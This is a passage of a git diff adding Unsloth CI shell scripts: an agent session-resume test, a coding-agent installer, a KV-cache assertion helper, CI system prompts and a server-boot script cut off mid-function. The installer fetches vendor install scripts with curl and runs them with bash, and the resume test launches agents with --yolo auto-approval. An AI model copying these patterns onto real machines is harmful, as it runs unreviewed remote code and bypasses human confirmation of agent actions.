echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
|
||||
;;
|
||||
|
||||
# ── resume: does a launched agent's session survive exit and resume? ────
|
||||
# Unlike the other modes, this drives the real LAUNCH path (`unsloth start
|
||||
# <agent> ...`, the interactive default), not the --no-launch recipe. That
|
||||
# path relocates each agent's home to a throwaway temp dir wiped on exit, so
|
||||
# a session cannot be resumed -- unless --persist routes it to the stable
|
||||
# Unsloth agents dir instead. We run one headless turn per pass and check
|
||||
# whether the turn left a session in a persistent store (deterministic, no
|
||||
# reliance on the model recalling anything), for a baseline pass and a
|
||||
# --persist pass, and assert the expected split for this agent.
|
||||
resume)
|
||||
CODEWORD="PLATYPUS7"
|
||||
T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK."
|
||||
T2="What codeword did I ask you to remember? Reply with just that word."
|
||||
WORK="$WORKDIR_BASE/${AGENT}-resume"
|
||||
|
||||
# STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to.
|
||||
# Read it from a --no-launch probe (which also writes the agent's config
|
||||
# there). codex/pi relocate their whole home/HOME here; opencode/claude keep
|
||||
# their session data in a fixed user dir, so STABLE_HOME stays empty for them.
|
||||
parse_connect
|
||||
case "$AGENT" in
|
||||
codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;;
|
||||
pi) STABLE_HOME="$(raw_env HOME)" ;;
|
||||
*) STABLE_HOME="" ;;
|
||||
esac
|
||||
|
||||
# The persistent stores a session would land in if it were NOT wiped. We
|
||||
# count files here before/after each turn; a positive delta means the
|
||||
# session persisted (is resumable), zero means it went to a wiped temp dir.
|
||||
resume_tracked_dirs() {
|
||||
case "$AGENT" in
|
||||
codex) printf '%s\n' "$HOME/.codex" ;;
|
||||
opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;;
|
||||
claude) printf '%s\n' "$HOME/.claude" ;;
|
||||
pi) printf '%s\n' "$HOME/.pi" ;;
|
||||
*) : ;;
|
||||
esac
|
||||
[ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME"
|
||||
}
|
||||
count_session_files() {
|
||||
local total=0 d n
|
||||
while IFS= read -r d; do
|
||||
[ -n "$d" ] && [ -d "$d" ] || continue
|
||||
n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n))
|
||||
done < <(resume_tracked_dirs)
|
||||
echo "$total"
|
||||
}
|
||||
|
||||
# The headless first-turn subcommand per agent (mirrors file-edit's map),
|
||||
# forwarded verbatim through the launch path as passthrough args.
|
||||
set_t1_cmd() {
|
||||
case "$AGENT" in
|
||||
claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;;
|
||||
codex) T1_CMD=(exec "$T1") ;;
|
||||
opencode) T1_CMD=(run "$T1") ;;
|
||||
pi) T1_CMD=(-p "$T1") ;;
|
||||
*) guide_fail "resume mode does not cover agent '$AGENT'" ;;
|
||||
esac
|
||||
}
|
||||
|
||||
# Run one headless turn through the launch path. $1=outfile, $2="" or
|
||||
# "--persist", rest = the agent subcommand. --yolo auto-approves so no tool
|
||||
# prompt can hang; --api-key attaches to the already-served CI model.
|
||||
launch_turn() {
|
||||
local out="$1" rflag="$2"; shift 2
|
||||
local flag=(); [ -n "$rflag" ] && flag=("$rflag")
|
||||
run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \
|
||||
--api-key "$UNSLOTH_API_KEY" "$@"
|
||||
local rc=$?
|
||||
redact "$out"
|
||||
return "$rc"
|
||||
}
|
||||
|
||||
# One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED
|
||||
# from the session-store delta. Runs in the main shell (not a command
|
||||
# substitution) so a hang's guide_fail actually fails the job and the
|
||||
# progress lines reach the CI log. $1 = "" (baseline) or "--persist".
|
||||
RESULT=""
|
||||
run_pass() {
|
||||
local rflag="$1" label="baseline"
|
||||
[ -n "$rflag" ] && label="resume"
|
||||
rm -rf "$WORK"; mkdir -p "$WORK"
|
||||
set_t1_cmd
|
||||
local out="$LOGS_DIR/${AGENT}-resume-${label}.txt"
|
||||
local before after rc
|
||||
before="$(count_session_files)"
|
||||
pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK"
|
||||
launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$?
|
||||
popd >/dev/null || true
|
||||
after="$(count_session_files)"
|
||||
echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})"
|
||||
# The turn must succeed for the delta to mean anything: an agent that writes a
|
||||
# session file then errors would otherwise be misread as PERSISTED. Mirror the
|
||||
# file-edit mode and fail the pass on a non-zero launch (the flagship codex recall
|
||||
# below stays WARN-only, driven by its own launch_turn calls).
|
||||
[ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \
|
||||
guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; }
|
||||
if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi
|
||||
}
|
||||
|
||||
run_pass ""; BASELINE="$RESULT"
|
||||
# Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix.
|
||||
# opencode/claude persist either way, so the baseline already proves it and a
|
||||
# second full CPU turn only risks a timeout; skip it for them.
|
||||
case "$AGENT" in
|
||||
codex|pi) run_pass "--persist"; RESUME="$RESULT" ;;
|
||||
*) RESUME="n/a (persists either way)" ;;
|
||||
esac
|
||||
|
||||
# Expected: codex/pi relocate their whole home to the temp dir, so a plain
|
||||
# launch is WIPED and only --persist PERSISTS. opencode/claude keep their
|
||||
# session data in a fixed user dir, so the baseline already PERSISTS.
|
||||
case "$AGENT" in
|
||||
codex|pi) EXPECT_BASELINE="WIPED" ;;
|
||||
opencode|claude) EXPECT_BASELINE="PERSISTED" ;;
|
||||
esac
|
||||
|
||||
echo "──────────────────────────────────────────────"
|
||||
echo "[$AGENT] RESUME EXPERIMENT"
|
||||
echo " baseline (unsloth start ${AGENT}): ${BASELINE} (expected ${EXPECT_BASELINE})"
|
||||
echo " with --persist (unsloth start ${AGENT} --persist): ${RESUME}"
|
||||
echo "──────────────────────────────────────────────"
|
||||
|
||||
[ "$BASELINE" = "$EXPECT_BASELINE" ] \
|
||||
|| guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}"
|
||||
case "$AGENT" in
|
||||
codex|pi)
|
||||
[ "$RESUME" = "PERSISTED" ] \
|
||||
|| guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;;
|
||||
esac
|
||||
|
||||
# Flagship behavioral proof (codex only, WARN-only): after a --persist plant,
|
||||
# resume the session and check the model actually recalls the codeword. A
|
||||
# miss is not a failure (the CI model is small); the mechanism gate above is
|
||||
# the real assertion.
|
||||
if [ "$AGENT" = "codex" ]; then
|
||||
rm -rf "$WORK"; mkdir -p "$WORK"
|
||||
( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true
|
||||
( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true
|
||||
if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then
|
||||
echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}"
|
||||
else
|
||||
echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed"
|
||||
fi
|
||||
fi
|
||||
echo "[$AGENT] resume OK"
|
||||
;;
|
||||
|
||||
*)
|
||||
echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
108
.github/scripts/agent-guides-install.sh
vendored
Executable file
108
.github/scripts/agent-guides-install.sh
vendored
Executable file
|
|
@ -0,0 +1,108 @@
|
|||
#!/usr/bin/env bash
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
#
|
||||
# Install one coding-agent CLI for the Local Agent Guides CI. Isolated as
|
||||
# failure class (b) "agent package install failed": npm/curl flakiness here
|
||||
# is the single biggest source of false reds, so installs retry with
|
||||
# backoff and the only ::error:: this script can emit is class (b). The
|
||||
# install recipes mirror the install_hint strings in
|
||||
# unsloth_cli/commands/start.py at HEAD.
|
||||
#
|
||||
# Usage: agent-guides-install.sh <agent>
|
||||
# agent in: claude codex hermes openclaw opencode pi
|
||||
set -uo pipefail
|
||||
|
||||
AGENT="${1:?usage: agent-guides-install.sh <agent>}"
|
||||
mkdir -p logs
|
||||
LOG="logs/install-${AGENT}.log"
|
||||
|
||||
install_fail() {
|
||||
echo "::error::[agent install failed] agent=${AGENT}: $* (class (b): the agent CLI did not install; not a server or guide problem)." >&2
|
||||
echo "---- tail $LOG ----" >&2
|
||||
tail -60 "$LOG" 2>/dev/null || true
|
||||
exit 1
|
||||
}
|
||||
|
||||
# npm registry flakiness is common in CI; retry 3x with linear backoff.
|
||||
# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
|
||||
npm_retry() {
|
||||
local i
|
||||
for i in 1 2 3; do
|
||||
if npm install -g "$@" >> "$LOG" 2>&1; then
|
||||
return 0
|
||||
fi
|
||||
echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
|
||||
sleep "$((i * 10))"
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
# curl|bash installers, retried at the curl layer. We download to a temp file
|
||||
# first and only execute on a fully successful fetch, so a truncated download
|
||||
# (network hiccup mid-stream) can never run a half-written installer.
|
||||
curl_bash() {
|
||||
local url="$1"; shift
|
||||
local i tmp
|
||||
tmp="$(mktemp)"
|
||||
for i in 1 2 3; do
|
||||
if curl -fsSL --retry 3 --retry-delay 5 "$url" -o "$tmp" 2>>"$LOG" \
|
||||
&& bash "$tmp" "$@" >> "$LOG" 2>&1; then
|
||||
rm -f "$tmp"
|
||||
return 0
|
||||
fi
|
||||
echo "[install] curl|bash $url attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
|
||||
sleep "$((i * 10))"
|
||||
done
|
||||
rm -f "$tmp"
|
||||
return 1
|
||||
}
|
||||
|
||||
echo "[install] agent=$AGENT (log=$LOG)"
|
||||
case "$AGENT" in
|
||||
claude)
|
||||
# start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
|
||||
curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
|
||||
# The installer drops the binary under ~/.local/bin.
|
||||
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
|
||||
;;
|
||||
codex)
|
||||
# start.py install_hint: npm install -g @openai/codex
|
||||
npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
|
||||
;;
|
||||
opencode)
|
||||
# start.py install_hint: npm install -g opencode-ai
|
||||
npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
|
||||
;;
|
||||
openclaw)
|
||||
# start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
|
||||
# npm is the more deterministic path in CI and matches the agent's docs;
|
||||
# fall back to the start.py curl installer if the npm tag is missing.
|
||||
if ! npm_retry "openclaw@latest"; then
|
||||
curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
|
||||
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
|
||||
fi
|
||||
;;
|
||||
hermes)
|
||||
# start.py install_hint:
|
||||
# curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
|
||||
curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
|
||||
--non-interactive --skip-setup --skip-browser --no-skills \
|
||||
|| install_fail "hermes installer failed"
|
||||
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
|
||||
;;
|
||||
pi)
|
||||
# start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
|
||||
# (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
|
||||
# catches guide drift). The CLI moved from the now-deprecated @mariozechner
|
||||
# scope to @earendil-works (the old scope is frozen, so installing it would
|
||||
# test a stale Pi against the API).
|
||||
npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
|
||||
|| install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
|
||||
;;
|
||||
*)
|
||||
install_fail "unknown agent '$AGENT'"
|
||||
;;
|
||||
esac
|
||||
|
||||
echo "[install] OK for $AGENT"
|
||||
238
.github/scripts/assert-prompt-cache.sh
vendored
Executable file
238
.github/scripts/assert-prompt-cache.sh
vendored
Executable file
|
|
@ -0,0 +1,238 @@
|
|||
#!/usr/bin/env bash
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
#
|
||||
# Prompt-cache (KV-cache prefix reuse) detection, two strategies in one helper:
|
||||
#
|
||||
# mode=api A 2-turn /v1/chat/completions probe. Turn 2 prepends turn 1 +
|
||||
# its reply, so the shared prefix must be served from llama.cpp's
|
||||
# KV cache. Asserts usage.prompt_tokens_details.cached_tokens > 0
|
||||
# on turn 2. This is the OpenAI-dialect server cache sanity.
|
||||
# WHY this works on chat completions: the chat path forwards
|
||||
# llama-server's real cached_tokens through
|
||||
# studio/backend/routes/inference.py:482-489 (_prompt_tokens_details)
|
||||
# into prompt_tokens_details (inference.py:519).
|
||||
#
|
||||
# mode=log Read the llama-server log and decide HIT vs MISS from the
|
||||
# prompt-reprocessing trace. WHY the log (not the API field):
|
||||
# the Anthropic /v1/messages path builds AnthropicUsage(
|
||||
# input_tokens=..., output_tokens=...) at inference.py:8787-8790
|
||||
# / :8829-8832 and NEVER sets cache_read_input_tokens, which
|
||||
# therefore stays at its model default of 0
|
||||
# (studio/backend/models/inference.py:1655). So an Anthropic-path
|
||||
# client (Claude Code, OpenClaw is openai-completions but Claude
|
||||
# Code is the canonical Anthropic agent) can get a real KV-cache
|
||||
# hit that the API usage field reports as 0. The only ground
|
||||
# truth for the Anthropic path is the llama-server log.
|
||||
#
|
||||
# Log location (verified): studio/backend/core/inference/llama_cpp.py:4363-4365
|
||||
# _swa_cache_path().parent/"logs"/"llama-server"/llama-<ts>[label]-port-<P>[-try<N>].log
|
||||
# _swa_cache_path() => $UNSLOTH_STUDIO_HOME|$STUDIO_HOME or ~/.unsloth/studio
|
||||
# (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/.
|
||||
#
|
||||
# <P> is the INTERNAL llama-server port (self._find_free_port(),
|
||||
# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Studio port. So we must
|
||||
# NOT filter the log glob by STUDIO_PORT (the brief's `port-<STUDIO_PORT>`
|
||||
# glob would never match). We pick the newest llama-*.log instead.
|
||||
#
|
||||
# Usage:
|
||||
# assert-prompt-cache.sh api BASE_URL API_KEY
|
||||
# assert-prompt-cache.sh log EXPECT # EXPECT = HIT | MISS
|
||||
# # reads MARKER_BEFORE/MARKER_AFTER
|
||||
# # byte offsets from env (see below)
|
||||
# assert-prompt-cache.sh mark # print current log size to stdout
|
||||
# # (use to bracket a turn)
|
||||
#
|
||||
# Env for mode=log:
|
||||
# LLAMA_LOG_DIR override the log dir (default ~/.unsloth/studio/logs/llama-server)
|
||||
# CACHE_LOG_FROM byte offset to start scanning the newest log from (so we
|
||||
# only look at the trace produced by THIS turn). Default 0.
|
||||
#
|
||||
# Exit codes: 0 = assertion held; 1 = assertion failed (::error:: emitted).
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
MODE="${1:?usage: assert-prompt-cache.sh api|log|mark ...}"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Locate the newest llama-server log. Shared by mark + log modes.
|
||||
# ---------------------------------------------------------------------------
|
||||
_default_log_dir() {
|
||||
local home="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}"
|
||||
if [ -n "$home" ]; then
|
||||
echo "${home%/}/logs/llama-server"
|
||||
else
|
||||
echo "${HOME}/.unsloth/studio/logs/llama-server"
|
||||
fi
|
||||
}
|
||||
|
||||
_newest_log() {
|
||||
local dir="${LLAMA_LOG_DIR:-$(_default_log_dir)}"
|
||||
[ -d "$dir" ] || return 1
|
||||
# Newest by mtime among llama-*.log (covers both `llama-<ts>-port-<P>.log`
|
||||
# and the retry form `llama-<ts><label>-port-<P>-try<N>.log`). Filenames are
|
||||
# tool-generated timestamps, so ls -t is safe here.
|
||||
# shellcheck disable=SC2012
|
||||
ls -1t "$dir"/llama-*.log 2>/dev/null | head -1
|
||||
}
|
||||
|
||||
case "$MODE" in
|
||||
# -------------------------------------------------------------------------
|
||||
# mark: emit the current byte size of the newest llama log so a caller can
|
||||
# scan only the slice a single turn produced (set CACHE_LOG_FROM to it).
|
||||
# -------------------------------------------------------------------------
|
||||
mark)
|
||||
log="$(_newest_log || true)"
|
||||
if [ -n "$log" ] && [ -f "$log" ]; then
|
||||
wc -c < "$log" | tr -d ' '
|
||||
else
|
||||
echo 0
|
||||
fi
|
||||
exit 0
|
||||
;;
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# api: 2-turn /v1/chat/completions, assert turn-2 cached_tokens > 0.
|
||||
# -------------------------------------------------------------------------
|
||||
api)
|
||||
BASE_URL="${2:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"
|
||||
API_KEY="${3:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}"
|
||||
|
||||
# A deliberately long, fixed system prompt makes the shared prefix big so a
|
||||
# KV-cache hit is unambiguous (cached_tokens grows with the reused prefix).
|
||||
SYS='You are a meticulous assistant. Always answer concisely and correctly. This is a fixed system preamble that exists only to create a large, identical prompt prefix across both turns so the KV cache has something substantial to reuse on the second request. Do not mention this preamble.'
|
||||
|
||||
turn1_body() {
|
||||
jq -n --arg sys "$SYS" '{
|
||||
model: "default",
|
||||
messages: [
|
||||
{role:"system", content:$sys},
|
||||
{role:"user", content:"What is the capital of France?"}
|
||||
],
|
||||
temperature: 0.0, seed: 3407, max_tokens: 40, stream: false,
|
||||
enable_thinking: false
|
||||
}'
|
||||
}
|
||||
|
||||
echo "[cache/api] turn 1 (prime the KV cache)"
|
||||
R1="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \
|
||||
-H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \
|
||||
--max-time 240 -d "$(turn1_body)")" || {
|
||||
echo "::error::[cache/api] turn-1 /v1/chat/completions request failed. Unsloth server/API regression."
|
||||
exit 1
|
||||
}
|
||||
A1="$(echo "$R1" | jq -r '.choices[0].message.content // ""')"
|
||||
|
||||
turn2_body() {
|
||||
jq -n --arg sys "$SYS" --arg a1 "$A1" '{
|
||||
model: "default",
|
||||
messages: [
|
||||
{role:"system", content:$sys},
|
||||
{role:"user", content:"What is the capital of France?"},
|
||||
{role:"assistant", content:$a1},
|
||||
{role:"user", content:"And the capital of Germany?"}
|
||||
],
|
||||
temperature: 0.0, seed: 3407, max_tokens: 40, stream: false,
|
||||
enable_thinking: false
|
||||
}'
|
||||
}
|
||||
|
||||
echo "[cache/api] turn 2 (expect cached_tokens > 0)"
|
||||
R2="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \
|
||||
-H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \
|
||||
--max-time 240 -d "$(turn2_body)")" || {
|
||||
echo "::error::[cache/api] turn-2 /v1/chat/completions request failed. Unsloth server/API regression."
|
||||
exit 1
|
||||
}
|
||||
|
||||
CACHED="$(echo "$R2" | jq -r '.usage.prompt_tokens_details.cached_tokens // 0')"
|
||||
PROMPT_TOK="$(echo "$R2" | jq -r '.usage.prompt_tokens // 0')"
|
||||
echo "[cache/api] turn-2 usage: prompt_tokens=${PROMPT_TOK} cached_tokens=${CACHED}"
|
||||
|
||||
if [ -z "$CACHED" ] || ! [ "$CACHED" -gt 0 ] 2>/dev/null; then
|
||||
echo "::error::[cache/api] turn-2 usage.prompt_tokens_details.cached_tokens=${CACHED}, expected > 0. The server is not surfacing llama.cpp KV-cache hits on /v1/chat/completions. Check studio/backend/routes/inference.py:482-489 (_prompt_tokens_details) and :519. Full turn-2 usage:"
|
||||
echo "$R2" | jq -c '.usage' 2>/dev/null || echo "$R2"
|
||||
exit 1
|
||||
fi
|
||||
echo "[cache/api] PASS server cache sanity (cached_tokens=${CACHED} > 0)"
|
||||
exit 0
|
||||
;;
|
||||
|
||||
# -------------------------------------------------------------------------
|
||||
# log: classify the newest llama-server log (from CACHE_LOG_FROM bytes on)
|
||||
# as HIT or MISS and compare to EXPECT.
|
||||
# -------------------------------------------------------------------------
|
||||
log)
|
||||
EXPECT="${2:?usage: assert-prompt-cache.sh log HIT|MISS}"
|
||||
FROM="${CACHE_LOG_FROM:-0}"
|
||||
|
||||
log="$(_newest_log || true)"
|
||||
if [ -z "$log" ] || [ ! -f "$log" ]; then
|
||||
echo "::error::[cache/log] no llama-server log under ${LLAMA_LOG_DIR:-$(_default_log_dir)}. Cannot read KV-cache trace. (Path contract: studio/backend/core/inference/llama_cpp.py:4363-4365.)"
|
||||
exit 1
|
||||
fi
|
||||
echo "[cache/log] reading $log from byte $FROM"
|
||||
|
||||
# Scan only the slice produced after FROM.
|
||||
slice="$(tail -c "+$((FROM + 1))" "$log" 2>/dev/null || cat "$log")"
|
||||
|
||||
# ---- HIT detectors (most-specific first) -----------------------------
|
||||
# 1. Modern + legacy "re-used N tokens" / "reused N" (N>0). Primary signal
|
||||
# per the design brief.
|
||||
reused_n="$(printf '%s\n' "$slice" \
|
||||
| grep -aoiE 're-?used[^0-9]*([0-9]+)' \
|
||||
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
|
||||
# 2. "kv cache rm [START, end)" with START>0 => prefix [0,START) reused.
|
||||
cache_rm_start="$(printf '%s\n' "$slice" \
|
||||
| grep -aoiE 'kv cache rm \[[0-9]+' \
|
||||
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
|
||||
# 3. "n_past = N" with N>0 after a prompt-processing line (prefix kept).
|
||||
n_past_n="$(printf '%s\n' "$slice" \
|
||||
| grep -aoiE 'n_past[^0-9]*([0-9]+)' \
|
||||
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
|
||||
# 4. tokens_cached / tokens from cache (some builds).
|
||||
tok_cached="$(printf '%s\n' "$slice" \
|
||||
| grep -aoiE 'tokens_cached[^0-9]*([0-9]+)' \
|
||||
| grep -aoE '[0-9]+' | sort -rn | head -1 || true)"
|
||||
|
||||
# ---- MISS detectors --------------------------------------------------
|
||||
# Explicit forced full re-processing (SWA / recurrent) or kv cache rm [0,.
|
||||
forced_full=0
|
||||
if printf '%s\n' "$slice" | grep -aqiE 'forcing full prompt re-?processing|kv cache rm \[0,'; then
|
||||
forced_full=1
|
||||
fi
|
||||
|
||||
HIT=0
|
||||
why=""
|
||||
if [ -n "$reused_n" ] && [ "$reused_n" -gt 0 ] 2>/dev/null; then
|
||||
HIT=1; why="re-used=$reused_n"
|
||||
elif [ -n "$cache_rm_start" ] && [ "$cache_rm_start" -gt 0 ] 2>/dev/null; then
|
||||
HIT=1; why="kv-cache-rm-start=$cache_rm_start"
|
||||
elif [ -n "$tok_cached" ] && [ "$tok_cached" -gt 0 ] 2>/dev/null; then
|
||||
HIT=1; why="tokens_cached=$tok_cached"
|
||||
elif [ "$forced_full" = "0" ] && [ -n "$n_past_n" ] && [ "$n_past_n" -gt 0 ] 2>/dev/null; then
|
||||
# n_past>0 is the weakest signal; only trust it if nothing forced a full
|
||||
# reprocess. (On a cold slot n_past tracks total processed, so it is a
|
||||
# last-resort fallback per the brief.)
|
||||
HIT=1; why="n_past=$n_past_n(fallback)"
|
||||
fi
|
||||
[ "$HIT" = "1" ] || why="${why:-no-reuse-markers (forced_full=$forced_full)}"
|
||||
|
||||
OBSERVED="MISS"; [ "$HIT" = "1" ] && OBSERVED="HIT"
|
||||
echo "[cache/log] observed=$OBSERVED expected=$EXPECT ($why)"
|
||||
|
||||
if [ "$OBSERVED" != "$EXPECT" ]; then
|
||||
echo "::error::[cache/log] KV-cache observed=$OBSERVED but expected=$EXPECT ($why). See the attribution A/B note in the workflow."
|
||||
echo "---- llama-server log slice (last 60 lines) ----"
|
||||
printf '%s\n' "$slice" | tail -60
|
||||
exit 1
|
||||
fi
|
||||
echo "[cache/log] PASS ($OBSERVED == $EXPECT)"
|
||||
exit 0
|
||||
;;
|
||||
|
||||
*)
|
||||
echo "::error::unknown mode '$MODE' (want api|log|mark)"
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
1
.github/scripts/ci-connect-prompt.txt
vendored
Normal file
1
.github/scripts/ci-connect-prompt.txt
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
You are a helpful assistant in a CI connectivity check. Answer the user directly in plain text. Do not use any tools, do not take any actions, and do not explain. Just reply with the answer.
|
||||
1
.github/scripts/ci-min-system-prompt.txt
vendored
Normal file
1
.github/scripts/ci-min-system-prompt.txt
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
You are a coding assistant running non-interactively in a CI smoke test. Use the available file-editing and shell tools to complete the user's request directly and concisely. Do not ask questions or explain; just do the task.
|
||||
2
.github/scripts/hf-download-with-retry.sh
vendored
2
.github/scripts/hf-download-with-retry.sh
vendored
|
|
@ -1,4 +1,6 @@
|
|||
#!/usr/bin/env bash
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
||||
#
|
||||
# Download a single file from a Hugging Face repo with a stall-retry
|
||||
# watchdog. Used by the Studio CI workflows so a hung hf-xet transfer
|
||||
|
|
|
|||
172
.github/scripts/serve-unsloth-run.sh
vendored
Executable file
172
.github/scripts/serve-unsloth-run.sh
vendored
Executable file
|
|
@ -0,0 +1,172 @@
|
|||
#!/usr/bin/env bash
|
||||
# SPDX-License-Identifier: AGPL-3.0-only
|
||||
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
|
||||
#
|
||||
# Boot `unsloth run --disable-tools` in the background, wait for it to be
|
||||
# healthy, parse the minted API key from the banner, and resolve the
|
||||
# /v1/models id. Exports everything downstream steps need into $GITHUB_ENV
|
||||
# (or prints it when run outside Actions). Factored out of the workflow so
|
||||
# the failure-isolation logic lives in one shellcheck-clean place.
|
||||
#
|
||||
# Usage:
|
||||
# serve-unsloth-run.sh --model REPO --gguf-variant VAR --port PORT \
|
||||
# [--gguf-file PATH] [--extra "--seed 3407 --temp 0"] \
|
||||
# [--log-dir logs] [--health-timeout 300]
|
||||
#
|
||||
# Why a helper and not inline YAML
|
||||
# --------------------------------
|
||||
# * Every `unsloth run` invocation here is the *Unsloth server* under test.
|
||||
# A failure to come up healthy is class (a) "server/API regression" and
|
||||
# must be reported with a distinct `::error::` BEFORE any agent runs.
|
||||
# * The banner is the documented contract a human copies from. We parse the
|
||||
# exact `API Key:` line printed by unsloth_cli/commands/studio.py
|
||||
# (` API Key: <key>` non-silent, `API Key: <key>` silent) so a
|
||||
# silent change to that line is also caught.
|
||||
# * `unsloth run` re-execs into the studio venv ($STUDIO_HOME/unsloth_studio),
|
||||
# so in CI after `install.sh --local` it runs the PR's repo code.
|
||||
#
|
||||
# Outputs written to $GITHUB_ENV (and echoed):
|
||||
# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner
|
||||
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth start`
|
||||
# finds THIS server, not the hardcoded :8888)
|
||||
# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity)
|
||||
# UNSLOTH_MODEL_ID the canonical id reported by /v1/models
|
||||
# UNSLOTH_SERVER_PID pid of the backgrounded `unsloth run`
|
||||
# UNSLOTH_LLAMA_LOG_DIR ~/.unsloth/studio/logs/llama-server
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
# ── arg parse ────────────────────────────────────────────────────────────
|
||||
MODEL=""
|
||||
GGUF_VARIANT=""
|
||||
GGUF_FILE=""
|
||||
PORT=""
|
||||
EXTRA=""
|
||||
LOG_DIR="logs"
|
||||
HEALTH_TIMEOUT="300"
|
||||
|
||||
while [ "$#" -gt 0 ]; do
|
||||
case "$1" in
|
||||
--model) MODEL="$2"; shift 2 ;;
|
||||
--gguf-variant) GGUF_VARIANT="$2"; shift 2 ;;
|
||||
--gguf-file) GGUF_FILE="$2"; shift 2 ;;
|
||||
--port) PORT="$2"; shift 2 ;;
|
||||
--extra) EXTRA="$2"; shift 2 ;;
|
||||
--log-dir) LOG_DIR="$2"; shift 2 ;;
|
||||
--health-timeout) HEALTH_TIMEOUT="$2"; shift 2 ;;
|
||||
*) echo "serve-unsloth-run.sh: unknown arg '$1'" >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
[ -n "$PORT" ] || { echo "serve-unsloth-run.sh: --port is required" >&2; exit 2; }
|
||||
if [ -z "$MODEL" ] && [ -z "$GGUF_FILE" ]; then
|
||||
echo "serve-unsloth-run.sh: one of --model or --gguf-file is required" >&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
mkdir -p "$LOG_DIR"
|
||||
SERVER_LOG="$LOG_DIR/unsloth-run-${PORT}.log"
|
||||
BASE_URL="http://127.0.0.1:${PORT}"
|
||||
STUDIO_HOME_DIR="${STUDIO_HOME:-$HOME/.unsloth/studio}"
|
||||
LLAMA_LOG_DIR="${STUDIO_HOME_DIR}/logs/llama-server"
|
||||
|
||||
# Emit a key=value pair to $GITHUB_ENV when set, always echo for local runs.
|
||||
emit() {
|
||||
echo "$1=$2"
|
||||
if [ -n "${GITHUB_ENV:-}" ]; then
|
||||
